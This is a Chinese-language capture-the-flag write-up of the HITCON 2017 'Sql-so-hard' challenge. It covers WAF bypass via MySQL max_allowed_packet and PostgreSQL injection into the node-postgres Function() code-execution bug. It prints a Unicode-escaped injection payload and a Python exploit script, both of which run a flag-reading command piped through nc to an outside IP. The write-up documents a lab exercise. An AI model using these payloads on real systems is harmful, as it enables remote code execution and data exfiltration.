[hitcon2017] Sql-so-hard 復(fù)現(xiàn)

最近實(shí)在是太多事情了Orz,所以沒(méi)有及時(shí)更新復(fù)現(xiàn)。。(其實(shí)是偷懶

分享本題自制Dockerfile:Github

這道題涉及到的知識(shí)點(diǎn):

  • mysql的max_allowed_packet
  • node-postgresql的一個(gè)RCE
  • postgresql中語(yǔ)句返回值的問(wèn)題

本題連接了兩個(gè)數(shù)據(jù)庫(kù) 一個(gè)是mysql--用作waf之后ip和payload記錄,另外一個(gè)是postgresql--用作注冊(cè)時(shí)記錄用戶名稱(chēng)和密碼

因?yàn)橹饕欠治龃蟠蟮膒ayload為主,這里的考察點(diǎn)主要是node-postgresql近期的一個(gè)RCE漏洞(https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability)

這個(gè)洞詳細(xì)的分析P神已經(jīng)在博客貼出來(lái)了(https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html)
并且復(fù)現(xiàn)環(huán)境p神也已經(jīng)寫(xiě)了Dockerfile(https://github.com/vulhub/vulhub/tree/master/node/node-postgres)

簡(jiǎn)單來(lái)說(shuō)就是客戶端在獲取表字段的時(shí)候因?yàn)檗D(zhuǎn)譯不完全導(dǎo)致原本應(yīng)該拼接在代碼中的字段名被構(gòu)造成了惡意代碼傳入了Function()這個(gè)類(lèi),這個(gè)類(lèi)類(lèi)似于PHP中的create_function,因?yàn)楹瘮?shù)體可控 ,也就造成了命令執(zhí)行。然后官方也有轉(zhuǎn)譯,但是官方的轉(zhuǎn)譯只是把' --> \' , 所以在前面加個(gè)\就能逃逸出來(lái)(逃逸后的字符串就是 \\'

所以這里的目的就很明確了 --> 通過(guò)postgresql的注入造成代碼拼接命令執(zhí)行
?
但是會(huì)遇到兩個(gè)問(wèn)題:

  1. 這里postgresql存在注入 但是首先得繞過(guò)一大堆關(guān)鍵字waf
  2. 我們的ip不能在mysql留下記錄 (這里的waf思路是如果有keyword則插入記錄 后面再查詢,如果有記錄則攔截)

思路:

  • 造成Mysql插入出錯(cuò)
    提交一個(gè)很長(zhǎng)很長(zhǎng)的查詢(默認(rèn)包大小為16M),超出max_allowed_packet造成連接關(guān)閉,sql語(yǔ)句就不會(huì)執(zhí)行 官方文檔:

    max_allowed_packet

    這樣沒(méi)有插入的話就不會(huì)查詢到記錄,即達(dá)到繞過(guò)waf的目的

  • 或者使用postgreSQL支持將16進(jìn)制的值轉(zhuǎn)換成Unicode字符、并且可以自定義轉(zhuǎn)譯符的特性來(lái)將關(guān)鍵字全部替換掉, 從而達(dá)到繞過(guò)waf的目的, Eg: 國(guó)外大佬的wp(其中空格使用\t繞過(guò),自定義轉(zhuǎn)譯符為感嘆號(hào))

','')\tON\tCONFLICT\t(username)\tDO\tUPDATE\tSET\tusername=''\tRETURNING\t1\tAS\tU&"!005c!0027+(r=process.mainModule.require,l=!0022!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022!002freadflag|nc!0020123.123!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022.123.123!00201234!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(r(!0022child_process!0022).execSync(l))]!002f!002f"\tUESCAPE\t'!';
  • 構(gòu)造RCE代碼2017-08-12 - code execution vulnerability
    目的是構(gòu)造相應(yīng)的字段名稱(chēng)造成RCE(詳細(xì)原因請(qǐng)看P神關(guān)于漏洞的分析
    這里會(huì)出現(xiàn)新問(wèn)題:
    • 不能控制insert的字段名,并且insert沒(méi)有返回值(?)
    • 這里利用了分號(hào)切割sql語(yǔ)句,不能通過(guò);閉合sql語(yǔ)句的方式構(gòu)造RCE

這里閱讀 文檔, postgresql允許在insert或者update后選擇一個(gè)或多個(gè)字段返回, 所以在這里就有可控字段名了, 使用格式 insert into xx(aa,bb) values('cc','dd') returning ee as ff;
最后就是構(gòu)造RCE中P神在博客中提到的

單雙引號(hào)都不能正常使用,我們可以使用es6中的反引號(hào)
Function環(huán)境下沒(méi)有require函數(shù), 不能獲得child_process模塊, 但是可以通過(guò)process.mainModule.constructor._load來(lái)代替require
一個(gè)fieldName只能有64位長(zhǎng)度, 所以通過(guò)多個(gè)fieldName拼接來(lái)完成利用

最后是orange大大的exp:

from random import randint
import requests

# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 10.188.2.20 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)


username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
            'username': username+payload, 
                'password': 'AAAAAA'
                }
print 'ok'
r = requests.post('http://10.188.2.20:12345/reg', data=data);
print r.content

參考:
https://github.com/orangetw/My-CTF-Web-Challenges
https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
https://github.com/vulhub/vulhub/tree/master/node/node-postgres
https://www.postgresql.org/docs/9.6/static/sql-syntax-lexical.html
https://www.postgresql.org/docs/9.5/static/dml-returning.html
https://github.com/sorgloomer/writeups/blob/master/writeups/2017-hitcon-quals/sql-so-hard.md
https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,321評(píng)論 6 543
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 99,559評(píng)論 3 429
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事。” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 178,442評(píng)論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 63,835評(píng)論 1 317
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 72,581評(píng)論 6 412
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 55,922評(píng)論 1 328
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,931評(píng)論 3 447
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 43,096評(píng)論 0 290
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,639評(píng)論 1 336
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 41,374評(píng)論 3 358
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 43,591評(píng)論 1 374
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,104評(píng)論 5 364
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,789評(píng)論 3 349
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 35,196評(píng)論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 36,524評(píng)論 1 295
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 52,322評(píng)論 3 400
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 48,554評(píng)論 2 379

推薦閱讀更多精彩內(nèi)容